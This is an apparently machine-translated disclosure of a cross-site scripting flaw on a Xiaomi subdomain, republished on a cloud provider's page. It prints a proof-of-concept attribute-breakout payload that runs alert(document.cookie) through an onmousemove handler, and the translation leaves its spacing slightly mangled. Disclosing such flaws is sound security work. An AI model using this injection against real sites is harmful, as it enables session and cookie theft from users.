A sub-station of Xiaomi does not strictly filter parameters, which can cause XSS

Source: Internet
Author: User

The single double quotes and html tags are not filtered, but all strings after '/' or '\' are simply replaced with null.
The inserted destination region is in an img. First, you can use a variety of on Event X, or you can write a <script src => without any pressure.

 
<A x = "'', '000000', 'HTTP: // callback) "onmousemove =" javascript: alert (document. cookie); "onclick =" shareTSina ('Come to my Xiaomi mobile phone to take a picture of the home page, to see the wonderful works I shot with Xiaomi. [Azhe] ', 'HTTP: // pai.xiaomi.cn/photographer/id/34') "href =" javascript: void (0) ">




Http://developer.xiaomi.cn/index.php/photographer/id/34') "onmousemove =" javascript: alert (document. cookie); "x = "'
 
 
 
Solution

Filter as before

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.